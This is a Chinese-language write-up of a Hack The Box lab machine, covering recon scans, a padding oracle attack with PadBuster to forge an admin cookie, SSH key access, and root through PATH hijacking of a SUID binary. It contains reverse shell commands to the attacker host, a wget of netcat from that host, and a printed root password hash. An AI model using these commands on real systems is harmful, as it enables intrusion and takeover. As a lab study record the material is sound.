22 /tcp open  ssh     OpenSSH 6.6 .1 p1 Ubuntu 2 ubuntu2.8  (Ubuntu Linux; protocol 2.0 )hostkey:  1024  e1: 92 : 1 b: 48 :f8 : 9 b: 63 : 96 :d4 :e5 : 7 a: 40 : 5 f: a4: c8: 33  (DSA)2048  af: a0: 0f: 26 :cd : 1 a: b5: 1 f: a7: ec: 40 : 94 :ef : 3 c: 81 : 5 f (RSA)256  11 :a3 : 2 f: 25 : 73 : 67 :af : 70 : 18 : 56 :fe :a2 :e3 : 54 : 81 :e8  (ECDSA)256  96 : 81 : 9 c: f4: b7: bc: 1 a: 73 : 05:ea :ba : 41 : 35 :a4 : 66 :b7  (ED25519)80 /tcp open  http    Apache httpd 2.4 .7  ((Ubuntu))header:  Apache/2.4 .7  (Ubuntu)title:  CompanyDevInfo:  OS:  Linux; CPE:  cpe: /o: linux: linux_kernel
web 
nikto nikto -h 10.10.10.18 
Apache /2 .4 .7  (Ubuntu)PHP /5 .5 .9 -1 ubuntu4 .21 
经过检查,web目录十分干净,只有少数的功能。
wapita wapiti -u http:// 10.10 .10.18 /login.php// 10.10 .10.18 /register.php// 10.10 .10.18 /classes/ 
扫描,无漏洞
gobuster gobuster -u http:// 10.10 .10.18  -w /usr/ share/wordlists/ dirbuster/directory-list-2.3 -medium.txt// 10.10 .10.18 /classes/ 
发现目录遍历,该目录下有几个php文件。auth.php跳转到admin/login.php
用burp拦截,发现302跳转,404not found =》admin/login.php
这让我不禁想到,login.php是否可以登陆admin
admin/admin尝试登陆,提示Invalid credentials,爆破失败
ssh 
ssh  root@10.10.10.18 The  authenticity of host '10.10.10.18  (10.10.10.18 )' can't be established.ECDSA  key fingerprint is SHA256 :OJ5 DTyZUGZXEpX4 BKFNTApa88 gR/+w5 vcNathKIPcWE.Are  you sure you want to continue connecting (yes/no)? yesWarning : Permanently added '10.10.10.18 ' (ECDSA) to the list of known hosts.root @10.10.10.18 : Permission denied (publickey).python  ssh.py --userList /usr/share/wordlists/linux-user.txt 10.10.10.18  --outputFile /root/Desktop/users.txt
检查结果:公钥私钥登陆方式,好像不允许私钥登陆
检查中间件漏洞 
 
cgi-bin目录不存在,所以漏洞不存在
writeup 参考资料: Padding Oracle Attack 笔记 
Padding Oracle Attack,简要的说就是密码学配置不当,会导致任意文件读取。
工具:wget https://raw.githubusercontent.com/GDSSecurity/PadBuster/master/padBuster.pl 
使用burp抓包,获取Cookie。
数据包 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 GET  /  HTTP/1.1 Host : 10.10.10.18 User -Agent: Mozilla/5 .0  (X11 ; Linux x86 _64 ; rv:60 .0 ) Gecko/20100101  Firefox/60 .0 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,*/*;q=0 .8 Accept -Language: en-US,en;q=0 .5 Cookie : PHPSESSID=l8 g93 fl443 iinu6 cndl71 g1 ic5 ; auth=zZs1 CucXwORHrUD2 uEkfi7 HKtO4 MqN0 eConnection : closeUpgrade -Insecure-Requests: 1 Cache -Control: max-age=0 
padBuster.pl Use: padBuster.pl URL EncryptedSample BlockSize [options]
Padding Oracle 10.10 .10 .18  zZs1CucXwORHrUD2uEkfi7HKtO4MqN0e -cookies auth=zZs1CucXwORHrUD2uEkfi7HKtO4MqN0e 8  -encoding  0 10.10 .10 .18  zZs1CucXwORHrUD2uEkfi7HKtO4MqN0e -cookies auth=zZs1CucXwORHrUD2uEkfi7HKtO4MqN0e 8  -encoding  0  -plaintext user =admin admin 加密后,获得了cookies字符串。用burp修改包。
访问/mysshkeywithnamemitsos
将密钥保存为一个名为id_rsa的文件。
chmod  400  id_rsassh  -i id_rsa mitsos@10.10.10.18 
INFO 家目录下有一个suid权限的elf程序。尝试用john破解/etc/shadow,失败。
mitsos@LazyClown:~$  ls  -al  backup -rwsrwsr-x  1  root  root  7303  May   3   2017  backup mitsos@LazyClown:~$  file  backup backup:  setuid,  setgid  ELF  32 -bit  LSB   executable,  Intel  80386 ,  version  1  (SYSV),  dynamically  linked  (uses  shared  libs),  for  GNU/Linux  2.6 .24 ,  BuildID[sha1]=33d6b5bec96c44e630f37ff41cc1c4a8b2813b6b,  not  stripped 一下就是/etc/shadow的第一行 root:$6$v1daFgo/$.7m9WXOoE4CKFdWvC.8A9aaQ334avEU8KHTmhjjGXMl0CTvZqRfNM5NO2/.7n2WtC58IUOMvLjHL0j4OsDPuL0:17288:0:99999:7::: 复制第一个冒号和第二个冒号之间的字符串,就是密文。将密文保存为文件名pass $6$v1daFgo/$.7m9WXOoE4CKFdWvC.8A9aaQ334avEU8KHTmhjjGXMl0CTvZqRfNM5NO2/.7n2WtC58IUOMvLjHL0j4OsDPuL0 --- john  --wordlist=/usr/share/john/password.lst  ./pass 解密失败 --- 
strings backup
上传nc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 mitsos@LazyClown:~$whereis  nc /bin/nc 尝试nc反弹shell,结果netcat-openbsd  package,不支持-e参数。 mitsos@LazyClown:~$/bin/nc  -e  /bin/sh  10.10 .14 .7  1122 于是上传一个nc wget  http://10.10.14.7/netcat;chmod  a+x  netcat /home/mitsos/netcat  -h  /home/mitsos/netcat  -e  /bin/sh  10.10 .14 .7  1122 --- 第一次上传的64位nc,提示出错 -bash:  /home/mitsos/nc:  cannot execute binary file:  Exec  format  error 于是再次上传32位nc --- uname  -a Linux  LazyClown  4.4 .0 -31 -generic  i686说明是32位的系统版本 
提权 新建cat文件,内容是shell脚本。当suid程序执行cat /etc/shadow,加入环境变量后,会先执行以下脚本。
#!/bin/sh 
添加环境变量export PATH=.:$PATH;chmod +x cat,给/home/mitsos/cat添加执行权限。
运行/backup,发现root.txt已经复制到该目录。但是查看一下,发现还是root权限可读。
#!/bin/bash 
修改cat,然后再次运行backup即可获得root.txt的内容
方法二: cat 内容为
#!/bin/bash 
即可获得一个root shell
总结 学习到了一种新的suid提权方式,虽然有suid权限的elf程序不nmap|vim|find|bash|more|less|nano|cp这些程序其中的任何一种,但是通过添加环境变量,可以顺带执行shell脚本。
这个突破防线的方式,通过伪造cookies,是由于密码算法使用不当,导致攻击者可以猜测出admin的cookies,从而登陆web。
Padding Oracle Attack,利用条件很苛刻。
也许是我对密码学的东西知之甚少。不知道在实际攻击过程中,这种方式是否常见。